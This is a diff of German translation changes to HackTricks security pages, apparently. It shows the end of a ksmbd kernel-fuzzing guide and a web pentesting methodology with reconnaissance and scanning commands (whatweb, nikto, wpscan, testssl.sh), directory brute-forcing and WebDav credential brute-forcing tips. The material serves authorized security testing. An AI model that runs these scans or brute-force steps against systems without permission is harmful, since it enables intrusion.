-- KASAN bleibt der primäre Detektor für Heap-Bugs (UAF/OOB).
-- KCSAN liefert in diesem Ziel häufig Fehlalarme oder Daten-Races mit geringer Schwere.
-- UBSAN/KUBSAN können deklarierte Grenzfehler erfassen, die KASAN aufgrund der Semantik von Array-Indizes übersieht. Beispiel:
+## Sanitizers: Jenseits von KASAN
+- KASAN bleibt der wichtigste Detektor für Heap-Bugs (UAF/OOB).
+- KCSAN liefert bei diesem Ziel häufig Fehlalarme oder Datenrennen mit geringer Schwere.
+- UBSAN/KUBSAN können Fehler bei deklarieren Bounds aufspüren, die KASAN aufgrund der Array-Index-Semantik übersieht. Beispiel:
 ```c
 id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
 struct smb_sid {
@@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
 __le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
 } __attribute__((packed));
 ```
-Das Setzen von num_subauth = 0 löst einen In-Struct-OOB-Lesezugriff auf sub_auth[-1] aus, der von UBSANs declared-bounds-Prüfungen erfasst wird.
+Das Setzen von num_subauth = 0 löst einen in-struct OOB read von sub_auth[-1] aus, der von UBSAN’s declared-bounds checks erkannt wird.
 
 ---
 
-## Hinweise zu Durchsatz und Parallelität
-- Ein einzelner fuzzer-Prozess (shared auth/state) ist für ksmbd in der Regel deutlich stabiler und bringt dank syzkaller’s internem async executor weiterhin races/UAFs zutage.
-- Mit mehreren VMs erreicht man insgesamt immer noch hunderte SMB-Befehle/Sekunde. Eine Funktionsabdeckung von ~60% für fs/smb/server und ~70% für smb2pdu.c ist erreichbar, wobei die Coverage von Zustandsübergängen durch solche Metriken unterrepräsentiert ist.
+## Durchsatz- und Parallelitäts-Hinweise
+- Ein einzelner fuzzer-Prozess (shared auth/state) ist für ksmbd tendenziell deutlich stabiler und bringt dank syzkaller’s internem async executor weiterhin races/UAFs zum Vorschein.
+- Mit mehreren VMs kann man insgesamt weiterhin Hunderte SMB-Befehle pro Sekunde erreichen. Auf Funktions-Ebene sind etwa ~60% von fs/smb/server und ~70% von smb2pdu.c erreichbar, wobei die Abdeckung von state-transitions durch solche Metriken unterrepräsentiert ist.
 
 ---
 
 ## Praktische Checkliste
-- Aktiviere durable handles, leases, multi-channel, oplocks und VFS-Objekte in ksmbd.
-- Erlaube guest und map-to-guest; akzeptiere NTLMv2. Entferne die credit limits und erhöhe die max connections für die Stabilität des fuzzers.
-- Baue ein stateful harness, das SessionId/TreeID/FileIDs cached und create → ioctl → close verkettet.
-- Verwende eine grammar für SMB2 PDUs, um strukturelle Gültigkeit zu gewährleisten.
-- Nutze focus_areas, um schwach abgedeckte Funktionen zu übergewichten (z. B. smbacl.c-Pfade wie smb_check_perm_dacl).
+- Aktiviere durable handles, leases, multi-channel, oplocks und VFS objects in ksmbd.
+- Erlaube guest und map-to-guest; akzeptiere NTLMv2. Patch out credit limits und erhöhe max connections für fuzzer-Stabilität.
+- Baue einen stateful harness, der SessionId/TreeID/FileIDs cached und create → ioctl → close verknüpft.
+- Verwende eine grammar für SMB2 PDUs, um strukturelle Gültigkeit zu erhalten.
+- Nutze focus_areas, um schwach abgedeckte Funktionen zu übergewichten (z.B. smbacl.c-Pfade wie smb_check_perm_dacl).
 - Seed mit ANYBLOB aus realen pcaps, um Plateaus zu durchbrechen; packe Seeds mit syz-db zur Wiederverwendung.
-- Starte mit KASAN + UBSAN; triage UBSAN declared-bounds-Berichte sorgfältig.
+- Führe mit KASAN + UBSAN aus; triagiere UBSAN declared-bounds reports sorgfältig.
 
 ---
 
@@ -214,6 +214,6 @@ Das Setzen von num_subauth = 0 löst einen In-Struct-OOB-Lesezugriff auf sub_aut
 - KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
 - Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
 - Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
-- Weiterführende Lektüre: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
+- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
 
 {{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/README.md

@@ -1,12 +1,12 @@
-# 80,443 - Pentesting Web-Methodik
+# 80,443 - Pentesting Web Methodology
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Grundlegende Informationen
+## Grundlegende Infos
 
-Der Webservice ist der am **häufigsten und umfangreichsten genutzte Dienst**, und es existieren viele **verschiedene Arten von Schwachstellen**.
+Der Webservice ist der **häufigste und umfangreichste Service** und es gibt viele **different types of vulnerabilities**.
 
-**Standard-Port:** 80 (HTTP), 443(HTTPS)
+**Standardport:** 80 (HTTP), 443 (HTTPS)
 ```bash
 PORT    STATE SERVICE
 80/tcp  open  http
@@ -17,7 +17,7 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Web-API-Leitfaden
+### Web-API Leitfaden
 
 
 {{#ref}}
@@ -26,46 +26,46 @@ web-api-pentesting.md
 
 ## Methodologie-Zusammenfassung
 
-> In dieser Methodologie gehen wir davon aus, dass du eine Domain (oder Subdomain) und nur diese angreifst. Wende die Methodologie also auf jede entdeckte Domain, Subdomain oder IP mit unbestimmtem web server im Scope an.
+> In dieser Methodik gehen wir davon aus, dass du eine Domain (oder Subdomain) und nur diese angreifst. Wende diese Methodik daher auf jede entdeckte Domain, Subdomain oder IP mit unbestimmtem Webserver im Scope an.
 
-- [ ] Beginne damit, die **Technologien** des web server zu **identifizieren**. Suche nach **Tricks**, die du während des weiteren Tests beachten solltest, falls du die Tech erfolgreich identifizieren kannst.
-- [ ] Gibt es **bekannte Schwachstellen** der Version der Technologie?
-- [ ] Wird eine **well known tech** verwendet? Irgendwelche **nützlichen Tricks**, um mehr Informationen zu extrahieren?
-- [ ] Irgendein **specialised scanner** ausführen (wie wpscan)?
-- [ ] Starte **general purposes scanners**. Man weiß nie, ob sie etwas finden oder interessante Informationen liefern.
-- [ ] Beginne mit den **initial checks**: **robots**, **sitemap**, **404 error** und **SSL/TLS scan** (falls HTTPS).
-- [ ] Starte mit dem **spidering** der Webseite: Jetzt ist es Zeit, alle möglichen **files, folders** und **parameters being used** zu **finden**. Prüfe auch auf **special findings**.
-- [ ] _Beachte, dass jedes Mal, wenn während des Brute-Force oder Spiderings ein neues Verzeichnis entdeckt wird, dieses gespidert werden sollte._
-- [ ] **Directory Brute-Forcing**: Versuche, alle entdeckten Ordner zu brute-forcen, um neue **files** und **directories** zu finden.
-- [ ] _Beachte, dass jedes Mal, wenn während des Brute-Force oder Spiderings ein neues Verzeichnis entdeckt wird, dieses brute-forced werden sollte._
-- [ ] **Backups checking**: Prüfe, ob du **backups** von **entdeckten Dateien** finden kannst, indem du gängige Backup-Erweiterungen anhängst.
-- [ ] **Brute-Force parameters**: Versuche, **versteckte parameters** zu finden.
-- [ ] Sobald du alle möglichen **endpoints** identifiziert hast, die **user input** akzeptieren, überprüfe sie auf alle Arten von damit zusammenhängenden **vulnerabilities**.
+- [ ] Beginne damit, die vom Webserver verwendeten **technologies** zu identifizieren. Suche nach **tricks**, die du während des weiteren Tests beachten solltest, falls du die tech erfolgreich identifizieren kannst.
+- [ ] Gibt es bekannte **known vulnerability** in der Version der verwendeten Technologie?
+- [ ] Wird eine **well known tech** verwendet? Gibt es einen **useful trick**, um mehr Informationen zu extrahieren?
+- [ ] Gibt es einen **specialised scanner** der ausgeführt werden sollte (z. B. wpscan)?
+- [ ] Starte **general purposes scanners**. Man weiß nie, ob sie etwas finden oder nützliche Informationen liefern.
+- [ ] Beginne mit den **initial checks**: **robots**, **sitemap**, **404**-Fehler und **SSL/TLS scan** (bei HTTPS).
+- [ ] Starte das **spidering** der Webseite: Jetzt ist es Zeit, alle möglichen **files, folders** und **parameters being used** zu **find**. Prüfe außerdem auf **special findings**.
+- [ ] _Hinweis: Jedes Mal, wenn während des brute-forcing oder spidering ein neues Verzeichnis entdeckt wird, sollte es gespidert werden._
+- [ ] **Directory Brute-Forcing**: Versuche, alle entdeckten Ordner per brute force zu durchsuchen, um neue **files** und **directories** zu finden.
+- [ ] _Hinweis: Jedes Mal, wenn während des brute-forcing oder spidering ein neues Verzeichnis entdeckt wird, sollte es per Brute-Force bearbeitet werden._
+- [ ] **Backups checking**: Prüfe, ob du **backups** von **discovered files** findest, indem du gängige Backup-Extensions anhängst.
+- [ ] **Brute-Force parameters**: Versuche, **hidden parameters** zu **find**.
+- [ ] Sobald du alle möglichen **endpoints** identifiziert hast, die **user input** akzeptieren, überprüfe diese auf alle Arten von **vulnerabilities**.
 - [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
 
-## Server-Version (verwundbar?)
+## Server-Version (anfällig?)
 
 ### Identifizieren
 
-Prüfe, ob es **bekannte Schwachstellen** für die laufende Server-**Version** gibt.\
-Die **HTTP-Header und Cookies der Response** können sehr nützlich sein, um die verwendeten **Technologien** und/oder die **Version** zu **identifizieren**. **Nmap scan** kann die Server-Version identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
+Überprüfe, ob es **known vulnerabilities** für die aktuell laufende Server-**version** gibt.\
+Die **HTTP headers** und Cookies der Antwort können sehr nützlich sein, um die verwendeten **technologies** und/oder die **version** zu identifizieren. Ein **Nmap scan** kann die Serverversion ermitteln, nützlich können aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) oder [**https://builtwith.com/**](https://builtwith.com)**:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Suche **nach** [**Schwachstellen der Webanwendung** **Version**](../../generic-hacking/search-exploits.md)
+Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
 
-### **Prüfe, ob ein WAF vorhanden ist**
+### **Check if any WAF**
 
 - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
 
-### Web-Tech-Tricks
+### Web tech tricks
 
-Einige **Tricks** zum **Aufspüren von Schwachstellen** in verschiedenen bekannten **Technologien**, die verwendet werden:
+Einige **tricks**, um **vulnerabilities** in verschiedenen bekannten **Technologien** zu finden, die verwendet werden:
 
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@@ -102,27 +102,27 @@ Einige **Tricks** zum **Aufspüren von Schwachstellen** in verschiedenen bekannt
 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
 - [**Sitecore**](sitecore/index.html)
 
-_Beachte, dass dieselbe **Domain** unterschiedliche **Technologien** auf verschiedenen **Ports**, in verschiedenen **Ordnern** und **Subdomains** verwenden kann._\
-Wenn die Webanwendung eine der oben genannten bekannten **Tech/Plattformen** oder irgendeine andere nutzt, vergiss nicht, im Internet nach neuen Tricks zu **suchen** (und sag mir Bescheid!).
+_Berücksichtige, dass die **same domain** unterschiedliche **technologies** auf verschiedenen **ports**, **folders** und **subdomains** verwenden kann._\
+Wenn die Webanwendung eine der oben genannten bekannten **tech/platform listed before** oder eine andere verwendet, vergiss nicht, im Internet nach neuen Tricks zu suchen (und sag mir Bescheid!).
 
-### Quellcode-Review
+### Source Code Review
 
-Wenn der **Quellcode** der Anwendung auf **github** verfügbar ist, gibt es neben einem eigenen **White box** Test der Anwendung einige **Informationen**, die für das aktuelle **Black-Box testing** nützlich sein könnten:
+Wenn der **source code** der Anwendung auf **github** verfügbar ist, gibt es neben einem von dir durchgeführten White box test der Anwendung einige Informationen, die für das aktuelle Black-Box testing nützlich sein könnten:
 
-- Gibt es eine **Change-log oder Readme oder Version** Datei oder irgendetwas mit **Version-Informationen**, das über das Web zugänglich ist?
-- Wie und wo werden die **credentials** gespeichert? Gibt es irgendeine (zugängliche?) **Datei** mit credentials (Benutzernamen oder Passwörtern)?
-- Sind **Passwörter** im **Plain-Text**, **verschlüsselt** oder welcher **Hashing-Algorithmus** wird verwendet?
-- Verwendet es einen **Master Key** zur Verschlüsselung? Welcher **Algorithmus** wird verwendet?
-- Kannst du auf eine dieser Dateien zugreifen, indem du eine Schwachstelle ausnutzt?
-- Gibt es interessante Informationen in den **github** (gelöst und ungelöst) **issues**? Oder in der **commit history** (vielleicht wurde ein **Passwort** in einem alten Commit eingeführt)?
+- Gibt es eine **Change-log** oder **Readme** oder eine **Version**-Datei oder irgendetwas mit über das Web zugänglichen Versionsinformationen?
+- Wie und wo werden die **credentials** gespeichert? Gibt es eine (zugängliche?) **Datei** mit credentials (Benutzernamen oder Passwörtern)?
+- Sind Passwörter im **plain text**, **encrypted** oder welcher **hashing algorithm** wird verwendet?
+- Wird ein **master key** zum Verschlüsseln verwendet? Welcher **algorithm** wird benutzt?
+- Kannst du über eine Schwachstelle auf eine dieser **files** zugreifen?
+- Gibt es interessante Informationen in den **github**-Issues (gelöst und ungelöst)? Oder in der Commit-History (vielleicht wurde ein Passwort in einem alten Commit eingefügt)?
 
 {{#ref}}
 code-review-tools.md
 {{#endref}}
 
-### Automatische Scanner
+### Automatic scanners
 
-#### Allgemeine automatische Scanner
+#### General purpose automatic scanners
 ```bash
 nikto -h <URL>
 whatweb -a 4 <URL>
@@ -136,12 +136,12 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 ```
 #### CMS-Scanner
 
-Wenn ein CMS verwendet wird, vergiss nicht, **einen Scanner auszuführen**, vielleicht findet sich etwas Wertvolles:
+Wenn ein CMS verwendet wird, vergiss nicht, einen **Scanner zu starten**, vielleicht wird etwas Interessantes gefunden:
 
 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** auf Sicherheitsprobleme prüfen. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** prüft Websites auf Sicherheitsprobleme. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
-**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
+**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **oder** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 ```bash
 cmsmap [-f W] -F -d <URL>
@@ -149,45 +149,45 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> An diesem Punkt solltest du bereits einige Informationen über den vom Client genutzten Webserver haben (falls Daten vorliegen) und ein paar Tricks, die du während des Tests beachten solltest. Wenn du Glück hattest, hast du sogar ein CMS gefunden und einen Scanner laufen lassen.
+> An diesem Punkt solltest du bereits einige Informationen über den verwendeten Webserver des Clients haben (falls Daten vorliegen) und einige Tricks, die du während des Tests im Hinterkopf behalten solltest. Wenn du Glück hattest, hast du sogar ein CMS gefunden und einen Scanner ausgeführt.
 
-## Schritt-für-Schritt Web Application Discovery
+## Schritt-für-Schritt Webanwendungs-Erkennung
 
-> Ab diesem Punkt werden wir beginnen, mit der Webanwendung zu interagieren.
+> Ab hier beginnen wir, mit der Webanwendung zu interagieren.
 
-### Initial checks
+### Erste Prüfungen
 
-**Default pages with interesting info:**
+**Standardseiten mit interessanten Informationen:**
 
 - /robots.txt
 - /sitemap.xml
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
-- Check also comments in the main and secondary pages.
+- Überprüfe auch Kommentare auf Haupt- und Unterseiten.
 
 **Fehler erzwingen**
 
-Webserver können sich **unerwartet verhalten**, wenn ungewöhnliche Daten an sie gesendet werden. Das kann zu **Schwachstellen** oder zur **Offenlegung sensibler Informationen** führen.
+Webserver können sich **unerwartet verhalten**, wenn ihnen ungewöhnliche Daten geschickt werden. Das kann zu **vulnerabilities** oder zur **Offenlegung sensibler Informationen** führen.
 
-- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
-- **Add "\[]", "]]", and "\[["** in **cookie values** and **parameter** values to create errors
-- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
-- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
+- Greife auf **falsche Seiten** wie /whatever_fake.php (.aspx,.html,.etc) zu
+- **Füge "\[]", "]]" und "\[["** in **cookie values** und **Parameterwerte** ein, um Fehler zu erzeugen
+- Erzeuge Fehler, indem du Eingaben als **`/~randomthing/%s`** am **Ende** der **URL** angibst
+- Probiere **verschiedene HTTP Verbs** wie PATCH, DEBUG oder falsche wie FAKE
 
 #### **Prüfe, ob du Dateien hochladen kannst (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
 
-If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to:
+Wenn du feststellst, dass **WebDav** **enabled** ist, du aber nicht genügend Berechtigungen zum **Hochladen von Dateien** im Root-Ordner hast, versuche:
 
 - **Brute Force** credentials
 - **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders.
 
 ### **SSL/TLS Schwachstellen**
 
-- Wenn die Anwendung **nirgends HTTPS erzwingt**, dann ist sie **anfällig für MitM**
-- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP sendet**. Dann ist das eine hohe Schwachstelle.
+- Wenn die Anwendung die Nutzung von **HTTPS** nicht in allen Bereichen erzwingt, ist sie anfällig für **MitM**
+- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP sendet**, ist das eine hohe Schwachstelle.
 
-Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **Schwachstellen** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
+Benutze [**testssl.sh**](https://github.com/drwetter/testssl.sh) um auf **vulnerabilities** zu prüfen (in Bug Bounty-Programmen werden solche Vulnerabilities wahrscheinlich nicht akzeptiert) und verwende [**a2sv** ](https://github.com/hahwul/a2sv) um die Vulnerabilities erneut zu prüfen:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -196,60 +196,60 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **Sch
 sslscan <host:port>
 sslyze --regular <ip:port>
 ```
-Information about SSL/TLS vulnerabilities:
+Informationen zu SSL/TLS-Schwachstellen:
 
 - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
 - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
 
 ### Spidering
 
-Starte eine Art **spider** innerhalb der Web-Anwendung. Das Ziel des spiders ist es, **so viele Pfade wie möglich** zur getesteten Anwendung zu **finden**. Deshalb sollten Web-Crawling und externe Quellen genutzt werden, um möglichst viele gültige Pfade zu ermitteln.
+Starte eine Art **spider** gegen die Webanwendung. Das Ziel des spider ist, so viele Pfade wie möglich aus der getesteten Anwendung zu finden. Daher sollten Web-Crawling und externe Quellen genutzt werden, um möglichst viele gültige Pfade zu ermitteln.
 
-- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files und externe Quellen (Archive.org, CommonCrawl.org, VirusTotal.com).
-- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, mit LinkFider für JS files und Archive.org als externe Quelle.
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS-Dateien und externe Quellen (Archive.org, CommonCrawl.org, VirusTotal.com).
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, mit LinkFider für JS-Dateien und Archive.org als externe Quelle.
 - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, zeigt außerdem "juicy files" an.
 - [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiver CLI HTML spider. Sucht ebenfalls in Archive.org.
-- [**meg**](https://github.com/tomnomnom/meg) (go): Dieses Tool ist kein Spider, kann aber nützlich sein. Du gibst einfach eine Datei mit Hosts und eine Datei mit Pfaden an; meg holt dann jede Verbindung und speichert die Response.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider mit JS-Rendering-Fähigkeiten. Sieht jedoch unmaintained aus; die vorcompilierte Version ist alt und der aktuelle Code kompiliert nicht.
+- [**meg**](https://github.com/tomnomnom/meg) (go): Dieses Tool ist kein Spider, kann aber nützlich sein. Du kannst eine Datei mit Hosts und eine Datei mit Pfaden angeben; meg ruft dann jeden Pfad auf jedem Host ab und speichert die Antwort.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider mit JS-Rendering-Fähigkeiten. Sieht allerdings unmaintained aus, die vorkompilierte Version ist alt und der aktuelle Code kompiliert nicht.
 - [**gau**](https://github.com/lc/gau) (go): HTML spider, der externe Provider verwendet (wayback, otx, commoncrawl).
 - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Dieses Script findet URLs mit Parametern und listet sie auf.
 - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider mit JS-Rendering-Fähigkeiten.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider mit JS-beautify-Fähigkeiten, fähig, neue Pfade in JS files zu suchen. Es lohnt sich auch, einen Blick auf [JSScanner](https://github.com/dark-warlord14/JSScanner) zu werfen, das ein Wrapper für LinkFinder ist.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Extrahiert Endpoints sowohl aus HTML-Source als auch eingebettetem JavaScript. Nützlich für Bug Hunter, Red Teamer, Infosec Ninjas.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein Python 2.7 Script mit Tornado und JSBeautifier, um relative URLs aus JavaScript-Dateien zu parsen. Nützlich, um AJAX-Requests zu entdecken. Wirkt unmaintained.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Nimmt eine Datei (HTML) und extrahiert URLs mit einem praktischen Regex, um relative URLs aus hässlichen (minified) Dateien zu ziehen.
-- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, mehrere Tools): Sammelt interessante Informationen aus JS files mittels verschiedener Tools.
-- [**subjs**](https://github.com/lc/subjs) (go): Findet JS files.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Lädt eine Seite in einem headless Browser und gibt alle URLs aus, die zur Darstellung der Seite geladen werden.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider mit JS-beautify-Fähigkeiten, fähig, neue Pfade in JS-Dateien zu suchen. Es kann sich lohnen, sich auch [JSScanner](https://github.com/dark-warlord14/JSScanner) anzusehen, das ein Wrapper für LinkFinder ist.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Extrahiert Endpunkte sowohl aus HTML-Source als auch aus eingebetteten JavaScript-Dateien. Nützlich für Bug Hunter, Red Teamer und Infosec-Ninjas.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein Python-2.7-Script mit Tornado und JSBeautifier, um relative URLs aus JavaScript-Dateien zu parsen. Nützlich, um AJAX-Anfragen leicht zu entdecken. Sieht unmaintained aus.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gibt eine Datei (HTML) an und extrahiert URLs daraus mit cleveren Regular Expressions, um relative URLs aus "ugly" (minified) Dateien zu finden.
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, mehrere Tools): Sammelt interessante Informationen aus JS-Dateien mittels mehrerer Tools.
+- [**subjs**](https://github.com/lc/subjs) (go): Findet JS-Dateien.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Lädt eine Seite in einem headless Browser und gibt alle URLs aus, die zum Laden der Seite geladen wurden.
 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content-Discovery-Tool, das mehrere Optionen der vorherigen Tools kombiniert.
-- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp extension, um Pfade und Params in JS files zu finden.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das anhand der .js.map-URL den beautified JS-Code liefert.
-- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ein Tool, um Endpoints für ein gegebenes Ziel zu entdecken.
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp-Extension, um Pfade und Parameter in JS-Dateien zu finden.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das gegeben die .js.map-URL den beautified JS-Code liefert.
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ein Tool zum Entdecken von Endpunkten für ein gegebenes Ziel.
 - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
-- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (auch durch Ausfüllen von Formularen) und findet zudem sensitive Infos mittels spezifischer Regexes.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortschrittlicher, multi-feature GUI web security Crawler/Spider für Cyber-Security-Professionals.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ein Go-Package und [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, Secrets und anderen interessanten Daten aus JavaScript-Source-Code.
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite extension**, um **Parameter und Endpoints zu extrahieren** aus Requests und damit custom wordlists für Fuzzing und Enumeration zu erstellen.
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlt (auch durch Ausfüllen von Formularen) und findet außerdem sensible Infos mittels spezieller Regexes.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortgeschrittener Multi-Feature GUI Web-Security Crawler/Spider für Cyber-Security-Profis.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ein Go-Package und [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, Secrets und anderen interessanten Daten aus JavaScript-Sourcecode.
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite extension**, um **die Parameter und Endpoints** aus Requests zu extrahieren und daraus custom Wordlists für Fuzzing und Enumeration zu erstellen.
 - [**katana**](https://github.com/projectdiscovery/katana) (go): Großartiges Tool dafür.
 - [**Crawley**](https://github.com/s0rg/crawley) (go): Gibt jeden Link aus, den es finden kann.
 
-### Brute Force directories and files
+### Brute Force Verzeichnisse und Dateien
 
-Beginne mit **brute-forcing** vom Root-Verzeichnis und stelle sicher, dass du **alle** mit dieser Methode gefundenen **Directories** sowie die während des **Spidering** entdeckten Verzeichnisse bruteforcest (du kannst das **brute-forcing** rekursiv durchführen und die Namen der gefundenen Verzeichnisse am Anfang der verwendeten Wordlist anhängen).\
+Starte das **brute-forcing** vom Root-Verzeichnis und stelle sicher, dass du **alle** mit dieser Methode gefundenen Verzeichnisse sowie die durch **Spidering** entdeckten Verzeichnisse brute-forcest (du kannst das brute-forcing **rekursiv** durchführen und am Anfang der verwendeten Wordlist die Namen der gefundenen Verzeichnisse hinzufügen).\
 Tools:
 
-- **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**), aber funktional. Unterstützt self-signed certificates und rekursive Suche. Zu langsam im Vergleich zu den anderen Optionen.
-- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Erlaubt keine self-signed certificates, unterstützt aber rekursive Suche.
-- [**Gobuster**](https://github.com/OJ/gobuster) (go): Unterstützt self-signed certificates, hat aber keine **recursive** Suche.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
+- **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**), aber funktional. Unterstützt self-signed Zertifikate und rekursive Suche. Zu langsam im Vergleich zu den anderen Optionen.
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Erlaubt keine self-signed Zertifikate, erlaubt aber rekursive Suche.
+- [**Gobuster**](https://github.com/OJ/gobuster) (go): Unterstützt self-signed Zertifikate, hat aber **keine** **rekursive** Suche.
